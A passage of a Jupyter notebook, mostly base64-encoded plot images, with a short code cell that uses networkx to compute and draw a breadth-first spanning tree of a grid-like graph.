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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11ac2c490>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "#t = nx.dfs_tree(G,17)\n", "t = nx.bfs_tree(G,1)\n", "#t = nx.prim_mst(G)\n", "plt.figure(figsize=(M,N))\n", "nx.draw(t, coords, node_size=200,node_color=\"black\",linewidths=14.)\n", "nx.draw_networkx_nodes(t, coords, node_color=\"white\", node_size=200,linewidths=11.)\n", "\n", "plt.show()\n", "\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAXcAAAD8CAYAAACMwORRAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3X1cU3X/P/AXsMFgKoiieJOAgHKbgEMtNRWxNLtKqci+\nZgooWnRl3l2/Eg1NrjLRrK+U4Q2IemVp3lSWaSQplooKKAw1hABR0xzesMG2c8b790dfuEQYjLGx\nDT7Px8OHup2d8x4373P2Pp/P521FRASGYRimQ7E2dQAMwzCM4bHkzjAM0wGx5M4wDNMBseTOMAzT\nAbHkzjAM0wGx5M4wDNMBseTOMAzTAbHkzjAM0wGx5M4wDNMBseTOMAzTAbHkzjAM0wGx5M4wDNMB\nseTOMAzTAbHkzjAM0wGx5M4wDNMBseTOMAzTAbHkzjAM0wEJTB0AwzCMueB5HqWlpVAqlRCJRHB3\nd4dAYJlp0jKjZhiGMRCZTIbU1FSkpaWhuLgYQqEQNjY20Gg0UKvV8PLyQlRUFGJiYuDs7GzqcHXG\nyjIMw3RKarUa8fHx6N+/P3bv3o24uDjk5eVBJpPh3r17kMlkOH/+POLi4rB7927069cP8fHxUKvV\npg5dJ1asQTbDMJ1NeXk5wsPDIRQKsWnTJgQFBcHOzq7JEgzHcVCr1cjNzcXcuXPBcRwyMjIwYMAA\nE0SuO3blzjBMp1JeXg6JRILg4GBkZ2dj+PDhEIvFWmvrQqEQYrEYI0aMQHZ2NoKDgyGRSFBeXt7O\nkbcOu3JnGKbTUKvVCAgIQHBwMNLS0uDg4NDqfVRXVyMqKgq5ubmQSqUQCoVGiLTt2JU7wzCdxsqV\nKyEUCpGamqpXYgcABwcHpKamQiAQYOXKlQaO0HBYcmcYplOQyWT46KOPsGnTJtjZ2TV6vrKyElOn\nToVYLIabmxu++OILrfuys7PDpk2bsG7dOlRWVhozbL2x5M4wTKeQmpqKwMBABAUFNVlfj4uLg62t\nLW7evIn//Oc/eO211yCVSpvcl0AgQEhICAICArB161Zjh64XltwZhukU0tLSMHPmzCav2hUKBfbu\n3YtVq1ahS5cuGDVqFJ577jns2LFD6/6EQiFmzpyJbdu2GTFq/bHkzjBMh8fzPIqLixEWFtbkVfvv\nv/8OgUCAQYMG1T82ZMgQrVfuwN/JPSwsDEVFRVAqlUaJuy3YDFWGYTq80tJSCAQCDBw4sMnn5XI5\nunXrhrFjx+LUqVMQCATgeR7W1s1f/3p6eoLjOHTt2hXe3t5mNZOVXbkzDNPhKZVKaDSaJksyANCl\nSxfcv38fAJCcnAy5XI7ExESMHz++2f3a2dlBqVTiwoULZjeTlSV3hmE6PJFIBLVaDZ7nm3x+0KBB\n4HkeNTU19Y+dP38e/v7+Le7bzs4Ovr6+iI2NxS+//IKffvoJBw4cQEBAgEknOrFJTAzDdHhKpRL2\n9vZQKpVar96nTZuGo0ePora2FjzPQy6XY/PmzYiKimrVsXieh0qlQnR0NDIzM3H27FmTLFXArtwZ\nhunwKioqYGVl1ezyvZ999hl8fHxQXV2Nrl27Yvbs2XjzzTdRXFzcqmMJBAKIxWKkpaVh3LhxCA8P\nB8dxbX0LrcaSO8MwHZpCoUBqaiqICDY2Nlq3c3Z2xvHjx1FdXY2rV6/i888/x8iRI/HDDz/odVxT\nz2RlyZ1hmA7pxo0biI+Ph7u7O86dOweRSASVStWqfVhZWeHhyrVKpUJMTAzc3NzQtWtXBAUF4dCh\nQ02+3pQzWVlyZximQykoKEBUVBT8/f1x7949nDx5Et9//z1qa2tRUlKi9XV3797F4cOHoVQqwfM8\n/vOf/+D48eOYOHFig+14nscjjzyCY8eO4d69e0hMTERkZCRKS0sb7dOkM1mJYRjGwtXW1tJPP/1E\nTz31FLm6ulJiYiLdvn27wTa+vr6UnJxMarW6yX3cunWLJBIJdenShRwdHWn48OF05MgRnY4fGBhI\nX3/9dZPPqdVq2rBhA/n5+bXuTbURGy3DMIzFUqvV+PLLL7Fu3TrwPI9FixZh+vTpTY6ISUpKwp49\ne5CZmQmxWGywGG7evAk3Nzfk5eXBx8enyW0KCwsRHBwMhULRbj1ZWXJnGMbi3L17FykpKdiwYQN8\nfHywePFiPPXUU7CystL6msrKSvTr1w8ZGRkYPny4QZIsx3GYNGkSPD09kZKSonU7lUqFHj16IC8v\nD15eXm0+ri5YzZ1hmDbjeR5XrlxBQUEBrly5onWyUFuVlpbirbfewsCBA1FQUICDBw8iIyMDEydO\nbDaxA4CjoyNGjBiBGTNmtPrGalNqa2sxY8YM2NraIjk5udlt65put+caNCy5MwyjF5lMhqSkJPj5\n+UEsFiMoKAgjR45EUFAQHBwc4Ofnh6SkJIOMEsnOzsZLL72EoUOHws7ODhcuXMCOHTsQFBSk0+tL\nSkowduxYaDQaEBGio6NRXV2tdzxEhJiYGNy8eRN79+5tsRsTx3HQaDQQiUR6H7PV2rXCzzCMxVOp\nVLR06VISiUQkkUgoOTmZCgsLSalUEhGRUqmkwsJCSk5OJolEQiKRiJYuXUoqlapVx9FoNHTgwAEa\nPXo0ubm50fr16+n+/fut2kdtbS1t2bKFevbsSWvXriWNRkNlZWXk4uJCkZGRJJfLieO4Vu2TiGju\n3Lk0fPhwqqqq0ml7qVRKtra2eh1LXyy5Mwyjs7KyMvL29iY/Pz86ceJEs8lRrVaTXC6nrKws8vPz\nI29vbyorK2vxGAqFgjZu3EiDBg0iiURCX375pV5J8ebNm/Tss8/SkCFD6MKFC1rfR1ZWFikUCq2j\naB5WWlpKAMjOzo7EYnH9n507dza5valGy7DkzjCMTvS94uU4juRyOUVGRpKLi4vWBH/z5k169913\nycXFhZ599lk6duwY1dbW6hXrN998Q66urvT//t//q/9E8bCHP4Fs2LCBpFIpKZVKqq2t1fvYD1Mo\nFCSRSCgpKckg+9MVS+4Mw7RIpVKRt7c3RUZGkkKh0GsfCoWCIiMjydvbu8FV8sWLF2nOnDnk5ORE\nc+fOpUuXLukd5/379ykmJoY8PDzo+PHjOr1GJpPRmjVryM/Pj2xtbcnBwYEA0IkTJ9pcRuE4jrKy\nskgkEpFMJmvTvlqLJXeGYVq0dOlS8vPzI7lc3qb9yOVy8vX1pfj4eMrMzKTJkydTr169aMWKFXTr\n1q027TsrK4sGDhxIMTExra7N1+E4joqKimj27Nnk4+Nj0Pfb3lhyZximWbdv3yaRSNTgSnbDhg00\ndOhQsrW1pZkzZzbYXqFQ0GuvvUY9evSgbt260ejRo+ufq7uStbKyIk9PT0pJSaHq6uo2xadSqejt\nt98mV1dXOnDgQJv29eA+jfVJpb2wNnsMwzQrNTUVgYGBCAoKqp/407dvXyxbtgyHDx9u0OACAGJj\nY8HzPC5evAhnZ2fk5eXVP1e31kpQUBCmTZuG2NjYNsVWUFCAV155BW5ubjh//jx69erVpv3VsbW1\nRUZGBiQSCaKiopCamgo7OzudJj41tZ57S0MljaLdTycMw1iUujVZmqo/x8fHN7hyv3jxInXt2pXu\n3bundX+GGD2i0Who3bp11KNHD9qyZYvBbn4+rDWjatRqNSkUCsrKyiJfX1+dRwcZC5vExDCMVjzP\no7i4GGFhYTpdtWZnZ8PNzQ0JCQno2bMnAgMDsXfv3gbbCIVChIWF6T2TtaysDOPHj8e+ffuQnZ2N\nmJiYFmen6mvAgAEoKChAWFgYRo8ejTFjxiAlJQWFhYVQqVSora2FSqVCYWEhUlJSMHbsWEyYMAER\nERGQSqUm6cBUhyV3hmG0Ki0thVAoxMCBA3XavqKiAgUFBXB0dMT169eRnJyMmTNn4uLFiw228/T0\nhFAobHKZXG2ICNu3b4dEIsFTTz2FY8eO6RxXW9ja2sLBwQFz585FZGQkNm7ciODgYPTo0QPdu3dH\njx49EBwcjI0bNyIyMhLXrl1DYmKiaUoxD2A1d8Zs8TyP0tJSKJVKiEQiuLu7t9uKeszflEolrK2t\ntfYdfZi9vT2EQiGWLVsGgUCAMWPGYNy4cThy5Ah8fX3rt2vtWiu3b9/GvHnzcOnSJfz00086Lztg\nCFVVVdi6dSvOnDkDDw8PLFmyxCJ+Ns0rGqbTk8lkSE1NRVpaGoqLi+uTgEajgVqthpeXF6KiohAT\nEwNnZ2dTh2vRiAh3797FtWvXUFFRgYqKivp/1/1dXl6OqqoqqFQqnRL8o48+2uixpkomrVlr5dCh\nQ5g9ezamTZuGnTt3tu/6LADS0tIQFhYGDw+P+scEAkG7re6oL5bcGbOgVquxcuVKfPTRRwgICEBc\nXBzCwsIwcOBA2NnZQaVSoaSkBEePHsW2bdvw7rvvYuHChUhISICtra2pwzc7Go0Gt27dajJhP/i3\nUChEv3790L9///q/JRIJpkyZgn79+sHV1RVubm4oKSlpcOXN8zx4nodGo4FGo4FSqYRAIMATTzyB\nAQMG4IMPPsA777yD06dPIzMzE2vWrGkQX3FxMTiOg7u7u9b3oFAosHjxYvzwww/YuXMnxo0bZ6wv\nl1YajQYff/wxvvjii3Y/dlux5M6YXHl5OcLDwyEUCpGRkYGgoKBGw87s7Ozg6+sLLy8vzJo1C7m5\nuZg7dy727NmDjIwMk964am8qlQrXrl1rNmn/+eefcHZ2bpS4w8PD6//fr18/dO3atcXjeXp64ujR\no/Dy8qqvIycmJjZo+rxz504kJCRgxYoV+OabbzB79mysXr0abm5u2L59e4MmFhzH1e9PWynj1KlT\nmDFjBh5//HFcuHABjo6Obfyq6Wf//v3o06cPRowYYZLjtwVr1sEYjD51yPLyckgkEowbN67NY4k7\nQoK/f/9+i1fb9+7dQ58+fRok7Yf/7tOnj8E+0Ri6g1F1dTXGjBmDl156CYsXL27wHMdxWLVqFVJS\nUvDpp5/ihRdeaPPx2uKxxx7DkiVLEBERYdI49MGSO9MmbamRq9VqBAQEIDg4GGlpaXBwcGj18aur\nqxEVFYXc3FxIpVKTj1DQpra2Fn/99VezSbuiogJEhP79+zeZsOv+7eLiAmvr9hvoZsgORjzP49Sp\nUxg3bhyuXr0KV1fX+ucuXryIGTNmoFevXti6dSv69OljiPD1dvLkSbzyyiv4/fffYWNjY9JY9MGS\nO6OXh2vks2bNarZGXlBQ0KhGHh8fjwMHDiA7O7tNV4QKhQKhoaGIiIhAYmKiod6iztRqNW7cuNHs\njckbN26gW7duzV5t9+vXD926dTPamO22MNT3iohw9uxZTJ8+HQCQkZGB/v37Izk5Ge+99x4SExMx\nd+5cs/gavPDCCxgzZgz++c9/mjoUvbDkzrTagzXyTZs2NVkjr8NxHNRqdX2NnOM4ZGRkQCwWo3//\n/s1eDV68eBFxcXE4d+4cXFxckJSUhKlTpzbaru5qcMKECbh27ZpBR9HI5fIWr7YrKyvRu3fvZq+2\n+/bt2+6jPAzJEJ+y6jxYUvv555/h6+sLjuOwY8cOeHt7GzBq/ZWUlGDYsGEoLS1Fly5dTB2OXlhy\nZ1rFUDXy2bNnIyMjQ2sdl+d5+Pn5Yd68eZg/fz6OHTuGf/zjH8jNzcWgQYMabV9Xx42MjMSSJUta\njIeIIJPJWqxvq9XqFq+2e/fubZEf21tL3++9NtXV1Zg5cyYyMzNx9epV2NvbGzDatpk/fz7s7e2x\nevVqU4eiN5bcGZ0Zska+f/9+rF+/HnPnzm0yQRQUFGDEiBGoqqqq/4j+5JNPYvjw4Vi1alWj7TmO\nQ0pKCjZu3Ijz58/jzz//bDZxX79+Hfb29k1eZT/4t5OTk1mUCMxF3ac2APjiiy8wdOjQNn19TF1S\na8qdO3fg6emJ/Px89OvXz9Th6K/dV7NhLNbDa3o3t+zrV199RT4+PtSlSxfy9fWl/fv31z8nl8vJ\n3d2dCgsLtR4rPz+fxGJxgwWhwsPDacqUKVpfI5VKCQAJBALq27cvhYaG0tSpU+mNN96g1atX044d\nOygzM5N+//13vZdxZYiuX79ONjY2WptZPNh6TiwWk7W1Nb3xxhtN7suUzSy0Wb16Nc2YMcPUYbQZ\nS+6MTppa03vv3r20f/9+mjdvXoPkXlFRQUKhkH744Qeqra2lgwcPkr29Pd28eZOI/vsLra39GdHf\nK+x5eHjQhx9+SGq1mg4fPkxCoZCefPJJra9RKpXk4OBAFy9eNMybZpq0Zs0aCg0N1amRRVVVFYnF\nYjp27JjWbera0K1Zs8aQYepFpVJRv379KDc319ShtBlbOIzRSVNrekdERGDKlCno0aNHg20rKirg\n5OSESZMmwcrKCpMnT4ZYLEZxcTGA/67p3dx0dqFQiAMHDuD777+Hq6sr1q1bh8jISPTv37/Z1wgE\nAr1WGjQnPM/jypUrKCgo0HvlRGNKS0vDzJkzdVqOYO/evejVqxdGjx6tdRuhUIiZM2di27ZtBoxS\nP7t378bgwYPbde0aY2HJndFJa36hJRIJfH198d1330Gj0eDAgQOws7NrsO6IUChsMWk9+uijOHbs\nGGQyGQ4fPlw/gkGb1qxXYm5kMhmSkpLg5+cHsViMoKAgjBw5EkFBQXBwcICfnx+SkpJQWVlp0jhb\nuwRweno6Xn311Wbr8nVLABcVFZn0REZEWLduHRYtWmSyGAzK1B8dGPPHcRzZ2tpqrZE/3LCBiGjL\nli0kFovJxsaG7O3t6eDBg41e11xZhojo/PnzVFNTQwqFgpKSksjd3b3Z10ilUrK1tW1zU+P2pFKp\naOnSpSQSiUgikVBycjIVFhbWv0+lUkmFhYWUnJxMEomERCIRLV26lFQqlUniLSoqIrFY3OL3joio\ntLSUrK2tqaSkpMVtlUolWVlZ0XfffWeIMPVy9OhR8vHxIY1GY7IYDIkld6ZFLf1CP5zcf/rpJ3J2\ndqYzZ86QRqOh7OxscnV1bVTH5Hm+2d6SixcvJicnJxKLxTRx4kQqKirSuq0huvu0twe7/Jw4cYLk\ncrnWE5NarSa5XE5ZWVnk5+dnsi4/+fn51K1bN522XbVqFT3xxBM6bavRaMje3p569OhBp0+fbkuI\neps8eTJt2rTJJMc2BlaWYVpUU1MDKysrndf0zsvLwxNPPAGJRAJra2uEhoZi+PDhyMjIaLCdtbU1\n1Gq11v0kJSXhzp07kMvlOHToULNLrHIch/T0dERFRen2pkysbsx4cHAwsrOzMXz4cIjFYq2lDqFQ\nCLFYjBEjRiA7OxvBwcGQSCQoLy83eqw8z6OgoADbt2/H2rVrIZfLoVKpWnzd9u3bMXPmTJ2OwXEc\nrK2t8f777+OZZ57BsWPH2hp2q1y8eBFnzpzBK6+80q7HNSa2KmQzLGFBfkOTyWSQSqUoKCio//vC\nhQv1v9APJnhty76Ghobiww8/RF5eHoKCgpCbm4usrCy8/vrrDY6lVquRl5dnkPVKcnJyUFBQgMOH\nD+u9n/aiVqsRHh